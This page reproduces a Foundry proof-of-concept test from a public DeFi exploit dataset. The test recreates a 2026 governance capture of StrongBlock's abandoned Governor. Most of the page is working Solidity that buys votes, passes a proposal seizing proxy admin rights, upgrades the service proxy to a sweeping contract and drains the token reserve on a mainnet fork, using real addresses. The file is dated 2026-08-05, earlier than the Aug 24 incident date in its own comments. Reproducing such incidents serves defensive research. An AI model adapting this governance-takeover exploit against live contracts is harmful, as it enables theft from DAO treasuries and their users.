Public reproduction file
src/test/2026-08/StrongBlock_exp.sol
Public reproduction file for dataset entry StrongBlock.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// StrongBlock governance takeover of an abandoned Governor, Ethereum, Aug 24 2026.8// ~32,695 STRONG + ~383,447 STRNGR (~$72K) drained from the StrongPoolV5 service reserve.9//10// Governance actor : 0x4462d83150a38cfbe2a6a705861fb92358814d1d (bought votes, ran the proposal)11// Drain recipient : 0xACBCa357981870f30130B145762d671891CA810c (accepted admin, upgraded, swept)12// Governor (proxy) : 0xBDDC7Ef8BaCeacE16DCE005102639a4bB86CB8C1 (Compound GovernorAlpha style)13// Upgrader : 0x75C53809A047c3d422B91Eda50A20914fBe91C61 (ProxyAdmin of the proxies)14// Service (proxy) : 0x53cA51Ba980B6475C13d158c1825013cf81038Fc (StrongPoolV5, holds the reserve)15// STRONG : 0x990f341946A3fdB507aE7e52d17851B87168017c16// STRNGR : 0xDc0327D50E6C73db2F8117760592C8BBf1CDCF38 (the vote/mine token)17//18// Real on-chain sequence (all verified independently against mainnet state, see below):19// 25683569 actor swaps 22 ETH -> ~200,984 STRNGR on the Uniswap V2 STRNGR/WETH pair20// 25683578 actor StrongPoolV5.mineForVotesOnly(~200,984) -> minerVotes credited 1:121// 25683599 actor Governor.propose([Upgrader],[0],["setPendingAdmin(address)"],[drainEOA],"1")22// 25683603 actor Governor.castVote(1, true) (forVotes ~200,984 > quorum 200,000)23// 25683610 actor StrongPoolV5.unmineForVotesOnly(...) then swaps STRNGR back to ETH24// 25687923 actor Governor.queue(1) (after the 4320-block voting period)25// 25691516 actor Governor.execute(1) (Governor, as Upgrader.admin, sets pendingAdmin=drainEOA)26// 25691519 drainEOA Upgrader.acceptAdmin() -> drainEOA becomes Upgrader.admin27// 25691525 drainEOA Upgrader.upgrade(service, malImpl) -> service proxy points at attacker code28// 25691527 drainEOA service.run() -> malicious impl sweeps STRONG+STRNGR to caller29//30// Root cause (confirmed, NOT a stolen key or signature):31// This is a pure governance capture through the DAO's own propose/vote/queue/execute machinery.32// STRONG is near-worthless and the DAO was abandoned, so voting weight was cheap to buy on the33// open market. StrongPoolV5.mineForVotesOnly() converts staked STRNGR into vote weight 1:134// (minerVotes[] plus vote.updateVotes()), the Governor's quorum was only 200,000 votes, and the35// Governor is the admin of the Upgrader (the ProxyAdmin of every StrongBlock proxy). So a single36// self-funded proposal calling Upgrader.setPendingAdmin(attacker) is enough: once accepted as37// admin the attacker upgrades the service proxy to their own implementation and sweeps the38// reserve. Nothing here bypasses the contracts' rules; the rules simply outlived the community39// and economic safeguards that were supposed to make a proposal expensive to pass.40//41// Reconstruction (real, NOT a settled-state replay):42// The prior TermFinance PoC was change-requested for forking right before the drain and43// inheriting the already-completed capture as state. This test does NOT do that. It forks at44// block 25683560, BEFORE the governance actor even buys the votes, and reconstructs the entire45// capture from scratch in Solidity: it buys STRNGR with a real Uniswap V2 swap, mines it for46// votes, submits the same proposal (same target/signature/calldata) through the Governor's real47// propose(), casts the vote, advances through the real voting delay / voting period / queue48// timelock with vm.roll and vm.warp, executes the proposal, then acceptAdmin -> upgrade -> run.49// The two attacker EOAs are collapsed into this single test contract, which plays both the50// governance actor and the drain recipient, so the proposal sets pendingAdmin = address(this).51//52// The malicious implementation swept into the service proxy is OUR OWN minimal contract53// (MaliciousServiceImpl below). The attacker's real implementation bytecode is unverified and54// the payload is not the vulnerability, so a legitimate stand-in that performs the same55// "transfer the proxy's token balances to the caller" behavior is used. Deploying a contract is56// not a privileged action, so this changes nothing about the capture being reconstructed.57//58// Amounts: the service reserve read live on the fork is 32,695.761681 STRONG and59// 383,447.167299 STRNGR, identical at the fork block and at the historical pre-drain block, and60// matching the ~32,695 STRONG / ~383,447 STRNGR figures reported for the incident. The test61// asserts the drain moves exactly that live reserve to the attacker, so there is no drift to62// explain. The ~200,984 STRNGR bought for votes is unmined and sold back before the drain (as63// the real actor did), so it does not inflate the drained totals.64//65// No transient storage is used, so the default (shanghai) evm_version applies.66//67// forge test --contracts src/test/2026-08/StrongBlock_exp.sol -vvv69interface IGovernorAlpha {70 function propose(71 address[] calldata targets,72 uint256[] calldata values,73 string[] calldata signatures,74 bytes[] calldata calldatas,75 string calldata description76 ) external returns (uint256);77 function castVote(uint256 proposalId, bool support) external;78 function queue(uint256 proposalId) external;79 function execute(uint256 proposalId) external payable;80 function state(uint256 proposalId) external view returns (uint8);81 function quorumVotesInWei() external view returns (uint256);82 function votingDelayInBlocks() external view returns (uint256);83 function votingPeriodInBlocks() external view returns (uint256);84 function queuePeriodInSeconds() external view returns (uint256);85}87interface IStrongPool {88 function mineForVotesOnly(uint256 amount) external;89 function unmineForVotesOnly(uint256 amount) external;90 function minerVotes(address account) external view returns (uint256);91 function run() external; // present only after the malicious upgrade92}94interface IUpgrader {95 function admin() external view returns (address);96 function pendingAdmin() external view returns (address);97 function acceptAdmin() external;98 function upgrade(address proxyAddress, address implementationAddress) external;99}101interface IUniswapV2Router {102 function swapExactETHForTokens(103 uint256 amountOutMin,104 address[] calldata path,105 address to,106 uint256 deadline107 ) external payable returns (uint256[] memory amounts);108 function swapExactTokensForETH(109 uint256 amountIn,110 uint256 amountOutMin,111 address[] calldata path,112 address to,113 uint256 deadline114 ) external returns (uint256[] memory amounts);115}117// Our own stand-in for the attacker's implementation. Delegatecalled in the service proxy's118// storage context via service.run(), so address(this) is the service proxy and msg.sender is119// whoever called run(). It sweeps the proxy's STRONG and STRNGR to the caller, the same simple120// behavior the incident's implementation performed.121contract MaliciousServiceImpl {122 address constant STRONG = 0x990f341946A3fdB507aE7e52d17851B87168017c;123 address constant STRNGR = 0xDc0327D50E6C73db2F8117760592C8BBf1CDCF38;125 function run() external {126 IERC20(STRONG).transfer(msg.sender, IERC20(STRONG).balanceOf(address(this)));127 IERC20(STRNGR).transfer(msg.sender, IERC20(STRNGR).balanceOf(address(this)));128 }129}131contract StrongBlockExp is BaseTestWithBalanceLog {132 IGovernorAlpha constant governor = IGovernorAlpha(0xBDDC7Ef8BaCeacE16DCE005102639a4bB86CB8C1);133 IUpgrader constant upgrader = IUpgrader(0x75C53809A047c3d422B91Eda50A20914fBe91C61);134 IStrongPool constant service = IStrongPool(0x53cA51Ba980B6475C13d158c1825013cf81038Fc);135 IERC20 constant STRONG = IERC20(0x990f341946A3fdB507aE7e52d17851B87168017c);136 IERC20 constant STRNGR = IERC20(0xDc0327D50E6C73db2F8117760592C8BBf1CDCF38);137 IUniswapV2Router constant router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);138 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;140 // Reported / on-chain reserve held by the service proxy (verified live on the fork).141 uint256 constant REPORTED_STRONG = 32_695e18;142 uint256 constant REPORTED_STRNGR = 383_447e18;144 receive() external payable {}146 function setUp() public {147 // Fork BEFORE the governance actor buys votes (their first tx is the 22 ETH swap at148 // 25683569), so the entire capture is reconstructed rather than inherited.149 vm.createSelectFork("mainnet", 25_683_560);150 multiAssetLog = true;151 _addFundingToken(address(STRONG));152 _addFundingToken(address(STRNGR));153 vm.label(address(governor), "Governor");154 vm.label(address(upgrader), "Upgrader");155 vm.label(address(service), "StrongPoolV5");156 }158 function testExploit() public balanceLog {159 // Sanity: at the fork the Upgrader's admin is still the Governor, so a passed proposal160 // is the only way to move its pendingAdmin.161 assertEq(upgrader.admin(), address(governor), "upgrader admin should be the Governor at fork");163 // 1) Acquire voting weight on the open market: swap 22 ETH -> STRNGR on Uniswap V2,164 // the same venue the actor's 1inch route used.165 vm.deal(address(this), 30 ether);166 address[] memory buyPath = new address[](2);167 buyPath[0] = WETH;168 buyPath[1] = address(STRNGR);169 router.swapExactETHForTokens{value: 22 ether}(0, buyPath, address(this), block.timestamp);170 uint256 votePower = STRNGR.balanceOf(address(this));171 emit log_named_decimal_uint("STRNGR bought for votes", votePower, 18);172 assertGt(votePower, governor.quorumVotesInWei(), "need more STRNGR than quorum");174 // 2) Mine the STRNGR for votes. StrongPoolV5.mineForVotesOnly credits minerVotes 1:1 and175 // calls vote.updateVotes(), which is the weight the Governor reads.176 STRNGR.approve(address(service), votePower);177 service.mineForVotesOnly(votePower);178 assertEq(service.minerVotes(address(this)), votePower, "minerVotes should equal mined amount");180 // Let the vote checkpoint settle before proposing / voting.181 vm.roll(block.number + 2);183 // 3) Submit the identical proposal: Upgrader.setPendingAdmin(address(this)).184 address[] memory targets = new address[](1);185 uint256[] memory values = new uint256[](1);186 string[] memory signatures = new string[](1);187 bytes[] memory calldatas = new bytes[](1);188 targets[0] = address(upgrader);189 values[0] = 0;190 signatures[0] = "setPendingAdmin(address)";191 calldatas[0] = abi.encode(address(this));192 uint256 proposalId = governor.propose(targets, values, signatures, calldatas, "1");193 emit log_named_uint("proposalId", proposalId);195 // 4) Advance past the voting delay and vote yes.196 vm.roll(block.number + governor.votingDelayInBlocks() + 1);197 governor.castVote(proposalId, true);199 // 5) Recover the capital exactly as the actor did: unmine the STRNGR and sell it back to200 // ETH. The vote is already tallied into the proposal, so pulling the stake out now does201 // not change the outcome, and it keeps the mined STRNGR out of the drained totals.202 service.unmineForVotesOnly(votePower);203 address[] memory sellPath = new address[](2);204 sellPath[0] = address(STRNGR);205 sellPath[1] = WETH;206 STRNGR.approve(address(router), votePower);207 router.swapExactTokensForETH(votePower, 0, sellPath, address(this), block.timestamp);208 assertEq(STRNGR.balanceOf(address(this)), 0, "bought STRNGR should be fully sold back");210 // 6) Advance past the voting period, queue, then advance past the queue timelock.211 vm.roll(block.number + governor.votingPeriodInBlocks());212 assertEq(governor.state(proposalId), 4, "proposal should be Succeeded"); // 4 = Succeeded213 governor.queue(proposalId);214 vm.warp(block.timestamp + governor.queuePeriodInSeconds() + 1);216 // 7) Execute: the Governor, being the Upgrader's admin, sets pendingAdmin = address(this).217 governor.execute(proposalId);218 assertEq(upgrader.pendingAdmin(), address(this), "pendingAdmin should now be the attacker");220 // 8) Accept admin, upgrade the service proxy to our sweep implementation, and drain.221 upgrader.acceptAdmin();222 assertEq(upgrader.admin(), address(this), "attacker should now own the Upgrader");224 MaliciousServiceImpl impl = new MaliciousServiceImpl();225 upgrader.upgrade(address(service), address(impl));227 uint256 strongBefore = STRONG.balanceOf(address(this));228 uint256 strngrBefore = STRNGR.balanceOf(address(this));229 uint256 reserveStrong = STRONG.balanceOf(address(service));230 uint256 reserveStrngr = STRNGR.balanceOf(address(service));231 service.run();233 // The drain moves the full live reserve to the attacker.234 uint256 gainedStrong = STRONG.balanceOf(address(this)) - strongBefore;235 uint256 gainedStrngr = STRNGR.balanceOf(address(this)) - strngrBefore;236 assertEq(gainedStrong, reserveStrong, "should sweep the entire STRONG reserve");237 assertEq(gainedStrngr, reserveStrngr, "should sweep the entire STRNGR reserve");239 // And that reserve matches the reported incident amounts (~32,695 STRONG / ~383,447 STRNGR).240 assertGe(gainedStrong, REPORTED_STRONG, "STRONG drain below reported");241 assertGe(gainedStrngr, REPORTED_STRNGR, "STRNGR drain below reported");242 assertLt(gainedStrong, REPORTED_STRONG + 1e18, "STRONG drain above reported");243 assertLt(gainedStrngr, REPORTED_STRNGR + 1e18, "STRNGR drain above reported");244 }245}Analysis
Dataset entry
Public Foundry test for “StrongBlock” (2026-08-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
File record
- Name
- StrongBlock
- Path
- src/test/2026-08/StrongBlock_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e867a02eeaa63b5d3ff6d79d7aa93e9bcf1cfbe2
- Language
- Solidity
- Size
- 246 lines
- Date
- 2026-08-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/StrongBlock_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e867a02eeaa63b5d3ff6d79d7aa93e9bcf1cfbe2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.